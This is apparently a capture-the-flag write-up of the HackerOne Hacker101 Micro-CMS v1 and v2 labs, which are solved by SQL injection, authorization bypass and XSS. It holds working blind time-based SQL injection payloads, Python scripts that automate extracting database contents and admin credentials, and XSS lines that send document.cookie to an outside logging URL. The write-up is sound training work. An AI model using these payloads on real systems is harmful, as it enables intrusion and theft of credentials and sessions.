HackerOne CTF Micro CMS v2 (Spoilers)

Micro-CMS v2

SQL Injection

When trying to create a new page, I'm met by this new login page. Learning my lesson from the last challenge, I simply try a few obvious usernames and passwords including admin and default. None of these work, and the page indicates "Unknown User" in red:

Log in <-- Go Home

Log In

Username:
Password:
Unknown user

Did they learn their lesson about SQL injection? Placing the single quote ' character into each of the username and password fields yields the following error:

500 Internal Server Error

Internal Server Error

The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.

Looks like SQL injection is on the table. Time to go a little further than just the lonely single quote. What happens if I try and alter the logic of the query with ' OR 1=1 -- to short circuit the password check?

Log in <-- Go Home

Log In

Username:
Password:
Invalid password

The message this time is "Invalid Password". This completely confirms that the login is vulnerable to SQL injection. It also shows that they're kind enough to let me know that the previously guessed usernames are wrong. None of the common administrator usernames I can think of work, so I'm going need another approach. The user credentials are probably in a table with an auto generated integer id given the pages are using this type of schema. This means the admin user is probably the record with id=1. Next I try ' OR id=1; -- and get "Invalid password" again. Trying any other id produces "Unknown User" which indicates this hunch is correct. It's time to figure out how to bypass the password check. It's worth hypothesizing about what this query must look like. It's natural to expect something simple like:

SELECT * FROM users WHERE username = '{user}' AND password ='{password}';

In this case the injection above would translate to:

SELECT * FROM users WHERE username = '' OR id=1; --' AND password ='{password}';

If this were the query, the previous injection should work. The query would return the user with id 1, which I'm inferring is the admin account. Something else is going on here, and it's not as simple as I assumed. I need to figure out some facts about this database before I get too carried away. I don't even know if this DB has a table called users, I'm just guessing. Luckily, with time based data extraction, there's no need to guess. First, what is the database/schema?

' OR id=1-IF(LENGTH(DATABASE())=6, SLEEP(15), 0); --

The database name is 6 characters long.

' OR id=1-IF(MID(DATABASE(), 1, 1)='l', SLEEP(15), 0); --

The first character is "l", then "e", "v", "e", "l", and "2". What tables attached to this schema? Time to automate the boring stuff:

import requests
import time

table_name_length = 6

character_positions = list(range(1, table_name_length+1))
test_characters = (
    [chr(i) for i in range(ord('a'),ord('z')+1)] 
    + ['0','1','2','3','4','5','6','7','8','9']
)
results = []

url = "https://***ctf.hacker101.com/login"
sleep_time = 10

for character_position in character_positions:
    for test_character in test_characters:
        username = f"""
        ' OR id=1-IF(
            EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES 
            WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='level2' 
            AND LENGTH(TABLE_NAME)={table_name_length} AND 
            MID(TABLE_NAME, {character_position}, 1)='{test_character}'
        ), SLEEP({sleep_time}), 0); --
        """
        password = ""

        tic = time.perf_counter()
        result = requests.post(
            url,
            data={"username":username, "password":password},
        )

        toc = time.perf_counter()
        elapsed = toc - tic
        print(f"{character_position}, {test_character}: {elapsed}")
        if elapsed > sleep_time:
            results.append((character_position, test_character))

    print(f"Processed character position {character_position}")

print("Result:")
print(results)

There are two tables. The first is "pages" (duh) and the next table is "admins"! I probably should have been able to guess these, but this works too! Time to get the username and password.

' OR id=1-IF(EXISTS(SELECT username FROM admins WHERE id=1 AND LENGTH(username)=5), SLEEP(10), 0); --

' OR id=1-IF(EXISTS(SELECT password FROM admins WHERE id=1 AND LENGTH(password)=7), SLEEP(10), 0); --

import requests
import time

column_length = 5

character_positions = list(range(1, column_length+1))
test_characters = (
    [chr(i) for i in range(ord('a'),ord('z')+1)] 
    + ['0','1','2','3','4','5','6','7','8','9']
)
results = []

url = "https://***.ctf.hacker101.com/login"
sleep_time = 10
table_name = "admins"
column_name = "username"

for character_position in character_positions:
    for test_character in test_characters:
        username = f"""
        ' OR id=1-IF(
            EXISTS(SELECT {column_name} FROM {table_name} 
            WHERE LENGTH({column_name})={column_length} 
            AND MID({column_name}, {character_position}, 1)='{test_character}'
        ), SLEEP({sleep_time}), 0); --
        """
        password = ""

        tic = time.perf_counter()
        result = requests.post(url, data={"username":username, "password":password})

        toc = time.perf_counter()
        elapsed = toc - tic
        print(f"{character_position}, {test_character}: {elapsed}")
        if elapsed > sleep_time:
            results.append((character_position, test_character))

    print(f"Processed character position {character_position}")

print("Result:")
print(results)

The username is 5 characters long and is "nakia". The password is 7 characters long and is "cynthia". That's a flag!

SQL Injection 2

If I navigate around, I notice page/3 is forbidden:

403 Forbidden

Forbidden

You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.

Time for more SQL injection to extract the content from the pages table.

import requests
import time

# Printable ASCII characters excluding ', "
test_characters = [
    chr(i) for i in range(32, 127) 
    if chr(i) not in ("'", '"', '\\') and chr(i) == chr(i).lower()
]
print(test_characters)

results = []

url = "https://***.ctf.hacker101.com/login"
sleep_time = 10
table_name = "pages"
column_name = "body"

good_response = True
character_position = 0

while good_response and character_position <= 100:
    for test_character in test_characters:
        username = f"""
        ' OR id=1-IF(
            EXISTS(SELECT {column_name} FROM {table_name}
            WHERE id=3
            AND MID({column_name}, {character_position}, 1)='{test_character}'
        ), SLEEP({sleep_time}), 0); --
        """
        password = ""

        tic = time.perf_counter()
        result = requests.post(url, data={"username":username, "password":password})

        if result.status_code != 200:
            print(f"Failed on character {character_position}, {test_character}!")
            good_response = False
            break

        toc = time.perf_counter()
        elapsed = toc - tic
        
        if elapsed > sleep_time:
            print(f"{character_position}, {test_character}: {elapsed}")
            results.append((character_position, test_character))
            break
   
    character_position += 1


print("Result:")
print(results)
print(''.join([r[1] for r in results]).lower())

This successfully extracts the flag from the pages table, one character at a time.

A Simple Auth Bypass

I'm on a roll with the blind SQL injection techniques to extract data, so I keep pushing on this angle a bit longer. First thing to check is if there are any more tables to exploit:

' OR id=1-IF(EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA='level2' AND NOT TABLE_NAME='pages' AND NOT TABLE_NAME='admins'), SLEEP(10), 0); --

There are no other "level2" pages that I'm missing.

' OR id=1-IF(EXISTS(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admins' AND NOT COLUMN_NAME = 'id' AND NOT COLUMN_NAME = 'username' AND NOT COLUMN_NAME = 'password'), SLEEP(10), 0); --

The only columns in admins are id, username, and password. Perhaps I can insert my own user?

' OR 1=1; INSERT INTO admins(id, username, password) VALUES (2, 'test', 'test'); --

' OR id=1-IF(EXISTS(SELECT username FROM admins WHERE id=2), SLEEP(10), 0); --

The test user was never inserted... What columns exist in the table pages?

' OR id=1-IF(EXISTS(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='pages' AND NOT COLUMN_NAME = 'id' AND NOT COLUMN_NAME = 'title' AND NOT COLUMN_NAME = 'body' AND NOT COLUMN_NAME = 'public'), SLEEP(10), 0); --

Just id, title, body, and public.

I've pretty much exhausted the SQL injection targets. This last flag must be another class of vulnerability. The next thing that's nagging at me is the login page 302 redirect. Maybe I can bypass this? The old Micro-CMS v1 edit page had a form that would POST a new title and body to the current URL:

<!doctype html>
<html>
    <head>
        <title>Edit page</title>
    </head>
    <body>
        <a href="../../">&lt;-- Go Home</a>
        <h1>Edit Page</h1>
        <form method="POST">
            Title: <input type="text" name="title" value="Markdown Test"><br>
            <textarea name="body" rows="10" cols="80">Just testing some markdown functionality.

![adorable kitten](https://static1.squarespace.com/static/54e8ba93e4b07c3f655b452e/t/56c2a04520c64707756f4267/1493764650017/)

&lt;button&gt;Some button&lt;/button&gt;</textarea><br>
            <input type="submit" value="Save">
            <div style="font-style: italic"><a href="https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet">Markdown</a> is supported, but scripts are not</div>
        </form>
    </body>
</html>

Maybe I can just send this request directly and bypass authentication? I send a POST request to https://***.ctf.hacker101.com/page/edit/2 with the parameters title = 'hi' and body = 'hi', the returned response is the flag.

POST auth bypass

HackerOne CTF Micro CMS (Spoilers)

Learning by Doing

After studying articles on common vulnerabilities from outfits like HackerOne, Port Swigger, and Snyk, I realized reading about vulnerabilities without actively exploiting them out was not going to be an effective learning strategy. Hands on experience is way more important to me than theorizing and dreaming of these hacks. I'm still a complete novice, so the natural and safe space to practice these things is a CTF challenge. I'm currently dedicating my efforts to the HackerOne Hacker 101 CTF.

Micro-CMS

Permission Bypass

The first steps in this new CMS tool is to just play around and see how it it works. Eventually I created a new page, and noticed something interesting. The page has an integer id of 8, where the two existing pages are 1 and 2. The first thing to check is what happens when I navigate directly to /page/# for each of the numbers between 3 and 7. When I get to 6 I see the following error:

403 Forbidden

Forbidden

You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.

Seeing this, I immediately think that there's a path traversal bug through the markdown engine the CMS provides. Often times markdown renderers that target a static site like this CMS will let you use relative paths to files which it will ultimately copy into a static assets folder for the resulting HTML <img> tag to reference. I spent entirely too much time trying to chase this trick down in my newly created page 8. Eventually, by fluke, I meant to go back to /page/6 but I was in the edit view of the current page /page/edit/8. I navigated to /page/edit/6 and found the flag:

Edit page <-- Go Home

Edit Page

Title:

Markdown is supported, but scripts are not

Haha, go figure. I was trying to be clever, but the bypass was ultimately a lot simpler than I expected. The editor tool at /page/edit is accessible to us, and it has access to the content of each page. Evidently it doesn't perform any permission checks before it loads a page either.

XSS

The moment I saw that script tags were not allowed, I knew I was looking for an XSS. Initially I focused all my time on the existing button tag, using the onclick event handler. It's easy enough to add the onclick="alert('test');" event attribute to this element, and clicking it successfully triggers the alert. There's no FLAG yet, but this is a good start. It confirms the XXS is there. Exploiting an XSS to trigger an alert dialog is worse than worthless, because it only raises the alarm to any savvy user that something weird is happening and exposes the attack. I'd much rather the browser run our XSS logic silently and send some critical piece of information onward without the victim ever realizing it. Typically an XSS attack is leveraged to steal some cookie data, usually a session token or nonce that can be used for authentication. This is surely the next step, right? I need a URL that will log the request and any info sent along. So I built one in AWS using Node and a Lambda Function with a Function URL:

export const handler = async (event, context) => {
    console.info("EVENT\n" + JSON.stringify(event, null, 2))
    console.info("CONTEXT\n" + JSON.stringify(context, null, 2))
    
    const response = {
        status: '200',
        statusDescription: 'OK',
        headers: {
            "content-type": "application/json"
        },
        body: 'Success!',
    };

    return response;
};

Now we can embed this into the onclick event attribute, using JavaScript to trigger the request to our target URL. It will log the request and header information for me to view in AWS CloudWatch. I modify the XSS to send that flag to my URL in the form of a request path and hit save:

<button onclick="new Image().src='http://<my url>/' + document.cookie;">

I check the logs. Nothing. This onclick event isn't ideal because it requires action from the user. That failing image to the static1.squarespace asset is a hint though. Image tags have an onerror event attribute which will automatically trigger any time an image fails to load. With this in mind, I move my XSS to an <img> tag pointing to the same url.

<img src="https://static1.squarespace.com/static/54e8ba93e4b07c3f655b452e/t/56c2a04520c64707756f4267/1493764650017/" onerror="new Image().src='http://<my url>/' + document.cookie;">

I hit save and wait for that log statement with my flag. Still nothing. Frustrated, I open up the source view to start hunting for my next idea and there's the flag:

Markdown Test <-- Go Home
Edit this page

Markdown Test

Just testing some markdown functionality.

adorable kitten

It's been waiting there in the HTML all along. I wasted a ton of time trying to execute the realistic hack when I should have just checked the source after every change.

XSS 2

With that XSS under my belt, I started to think about other places this might exist. Are scripts blocked in the post title? Let's see:

<script>alert(1);</script> <-- Go Home
Edit this page

<script>alert(1);</script>

Another XSS?

Ok, the page looks fine, the script is being escaped. I navigate back to the home page, and there's the flag! The CTF has embedded the flag into an alert in the page link:

Page Title XSS

SQL Injection

This one took a while to find. I spent a decent amount of time poking around for another XSS, and eventually decided to circle back to my first flag with the permission bypass. There were two XSS flags, maybe there's another bug like this one? I consult the resources I was reading before and stumble back on the SQL Injection class of vulnerabilities. PortSwigger suggests a few ways to probe for the potential of a SQL injection. The first suggestion is to add a single quote ' to any uer input that looks like it might be used in a query. Our page ids definitely look like autogenerated integer ids from a database, so that's a good place to start looking. The first thing I try is adding the single quote to the end of a page URL but nothing happens. Next I try /page/edit/1'. There's the fourth and final flag!

Lessons

I shouldn't try to be too clever when it comes to these simple CTF challenges. This challenge is marked as "Easy" by HackerOne, and that should have been a clue that I was missing something far more obvious. A CTF challenge is a bit of a sham, and I shouldn't be so worried about executing a realistic attack. Not yet at least.